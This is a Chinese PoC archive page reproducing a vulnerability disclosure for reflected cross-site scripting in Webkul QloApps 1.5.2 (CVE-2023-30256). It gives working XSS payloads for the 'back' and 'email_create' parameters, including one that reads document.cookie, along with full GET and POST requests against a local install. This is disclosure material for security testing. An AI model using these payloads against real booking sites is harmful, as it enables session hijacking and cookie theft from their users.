目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2023-30256 PoC — Webkil QloApps 跨站脚本漏洞

来源
关联漏洞
标题: Webkil QloApps 跨站脚本漏洞 (CVE-2023-30256)
Description:Webkil QloApps是免费的开源酒店预订和在线预订系统。 Webkil QloApps v.1.5.2版本存在安全漏洞。攻击者利用该漏洞通过AuthController.php文件中的back和email_create参数获取敏感信息。
Description
QloApp 1.5.2: Vulnerable to XSS on two Parameter (email_create and back)
介绍
# Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
Webkul QloApps 1.5.2: Vulnerable to XSS on two Parameter (email_create and back)

## Exploit - Proof of Concept (POC)

### XXS: 'back' Parameter
```
Payload (Parameter back – Plain text): 
[xss onfocus=alert(1) autofocus= xss] 

Payload (Parameter back – URL Encoded): 
[xss%20onfocus%3dalert(1)%20autofocus%3d%20xss]

Full GET Request (Parameter back): 
[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]
```

![image info](./back-parameter-xss.png)


### XXS: 'email_create' Parameter
```
Payload (Parameter email_create – Plain text): 
[xss><img src=a onerror=alert(document.cookie)>xss] 

Payload (Parameter email_create – URL Encoded): 
[xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss]

POST Request (Parameter email_create) (POST REQUEST DATA ONLY): 
[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]
```

![image info](./email_create-parameter-xss.png)


Confirmed on: 30 March 2023 

Vendor: QloApps [https://github.com/webkul/hotelcommerce]
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →